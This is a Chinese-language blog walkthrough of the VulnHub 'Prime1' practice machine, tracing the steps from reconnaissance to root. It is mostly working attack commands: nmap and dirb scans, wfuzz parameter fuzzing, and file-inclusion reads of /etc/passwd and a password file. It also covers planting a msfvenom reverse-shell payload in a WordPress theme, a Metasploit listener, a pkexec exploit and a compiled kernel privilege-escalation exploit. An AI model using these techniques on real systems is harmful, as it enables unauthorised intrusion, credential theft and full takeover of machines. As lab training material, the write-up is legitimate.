【vulnhub】Prime1
打开靶机,是ubuntu操作系统。想要登录需要输入密码发现一行重要的信息我们的目的是在不知道密码的情况下,拿到该靶机的root权限我们需要知道目标靶机的ip地址需要知道虚拟机NAT网络的网段目标靶机就在192.168.88.1/24这个C段下攻击机kali也是NAT网络,所以kali也在当前C段(其实直接查看kali的ip地址就可以了,因为kali和靶机在一个网段)一般扫出来主机号很小的(如1、2
📒博客主页:开心星人的博客主页
🔥系列专栏:vulnhub
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年6月19日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
无涯老师学习所得
靶机简述
打开靶机,是ubuntu操作系统。
想要登录需要输入密码
发现一行重要的信息find password.txt file in my directory
我们的目的是在不知道密码的情况下,拿到该靶机的root权限
主机发现
我们需要知道目标靶机的ip地址
需要知道虚拟机NAT网络的网段
目标靶机就在192.168.88.1/24这个C段下
攻击机kali也是NAT网络,所以kali也在当前C段
(其实直接查看kali的ip地址就可以了,因为kali和靶机在一个网段)
nmap -sP 192.168.88.1/24
一般扫出来主机号很小的(如1、2)和很大的(如255、254)都不去考虑
192.168.88.132是kali的ip地址
所以靶机的ip地址为192.168.88.139
端口扫描、查看服务
端口和服务是一一对应的关系
扫描端口获得运行的服务
nmap -p- -A 192.168.88.139
有一个ssh服务,是做远程登录的
有一个http服务
浏览器查看这个http服务
发现就只有一张图片
一般思路为:查看源码、F12查看数据包、目录扫描
有用信息得到是Server: Apache/2.4.18 (Ubuntu)
目录扫描
进行目录扫描
dirb http://192.168.88.139
主要先看这里
一个dev非常规目录
wordpress目录(wordpress是一个开源的博客平台)
我们访问一下dev目录
curl http://192.168.88.139/dev
是一个提示信息,我们需要进一步的挖掘
再进行目录扫描,这次指定文件后缀名(只扫描.txt .php .zip这些可能存在敏感信息的文件)
dirb http://192.168.88.139 -X .txt,.php,.zip
三个文件
不多说直接看secret.txt
提示信息:让我们通过传参去fuzz我们已经找到的php文件,同时还给了我们一个工具
fuzz参数
我们不用它给我们推荐的工具,用kali自带的wfuzz
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.88.139/index.php?FUZZ
-w指定字典,用的是wfuzz自带的一个字段
我们有两个php文件,先用index.php试一下
?FUZZ就是替代我们要fuzz的位置
找到那个返回结果长度不一样的那个
?file
就是我们要找的参数
我们也可以用它参数进行过滤
-hw 12
过滤掉返回结果长度为12的
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://192.168.88.139/index.php?FUZZ
我们传参看一下页面
curl http://192.168.88.139/index.php?file
Do something better
you are digging wrong file
还记得secret.txt的提示信息,说location.txt
传进去试一下
ok well Now you reah at the exact parameter Now dig some more for next one use ‘secrettier360’ parameter on some other php page for more fun.
那就是image.php了
curl http://192.168.88.139/image.php?secrettier360
读取敏感文件
我们拿到了正确的参数之后,这里存在着一个LFI(本地文件包含漏洞),我们可以读取敏感文件
curl http://192.168.88.139/image.php?secrettier360=/etc/passwd
我们发现了一个特殊信息
saket:x:1001:1001:find password.txt file in my directory:/home/saket:
和我们进入靶机的提示信息相同。并且告诉我们password.txt在/home/saket下
然后我们访问/home/saket/password.txt
curl http://192.168.88.139/image.php?secrettier360=/home/saket/password.txt
拿到了密码follow_the_ippsec
ssh服务
我们拿到了密码,并且知道用户名victor
所以我们尝试登录ssh服务
ssh -p 22 victor@192.168.88.139
发现登不上
wordpress
试一下wordpress
浏览器访问一下http://192.168.88.139/wordpress
有登录的地方
试一下
登陆上了
比如说如果刚才我们不知道是victor用户,我们该怎么办
可以使用kali自带的wpscan,是专门针对wordpress的工具,扫描wordpress的漏洞
man wpscan
找一下我们需要的参数
-e u
枚举username
--url
指定url
wpscan --url http://192.168.88.139/wordpress/ -e u
同样找到了victor用户名
cmseek
cmseek -u http://192.168.88.139
可以探测这个网站使用的哪个cms,这个cms有哪些漏洞,同时也可以枚举用户名
wordpress漏洞利用
现在我们再回到wordpress的后台
找到这个主题编辑的功能(为了方便非程序员的博主),这里面有些php文件是可以编辑的。
找到了一个可以写入的php文件
我们可以写入一句话木马或者反弹shell的payload
msf生成反弹shell的payload、反弹shell
msfvenom
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.88.132 lport=7777-o shell.php
写入wordpress漏洞处
待会访问这个php文件,即可使得这个文件生效
我们现在需要让我们的kali去监听7777端口
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.88.132
set lport 7777
run
我们现在访问secret.php
即可触发了
由于wordpress是开源的,我们很容易就得知theme文件夹的位置为
http://192.168.88.139/wordpress/wp-content/themes/twentynineteen/secret.php
访问
发现我们拿到了shell
shell
发现和我们正常的shell界面还有有点差别的
使用这条命令
python -c 'import pty;pty.spawn("/bin/bash")'
现在就是正常shell的界面了
提权
想要用pkexec提权来着
git clone https://github.com/berdav/CVE-2021-4034
cd CVE-2021-4034
make
./cve-2021-4034
whoami
没有权限新建目录
使用ubuntu内核提权
uname -a
查看操作系统版本
使用msf来找这个版本漏洞的exp
searchsploit 16.04 Ubuntu
所以使用红框中的exp
exp位置在这
/usr/share/exploitdb/exploits/linux/local/45010.c
复制exp到root目录下
cp /usr/share/exploitdb/exploits/linux/local/45010.c /root
使用gcc命令进行编译
gcc 45010.c -o 45010
现在需要将45010这个文件丢入靶机中
在反弹shell的界面上传45010
upload /root/45010 /tmp/45010
这已经传上去了
我们进入shell界面,去给45010添加可执行权限
chmod +x /tmp/45010
cd /tmp
执行文件
./45010
ok,我们是root权限了
获得root目录下的一些文件
拿到了flag
更多推荐
所有评论(0)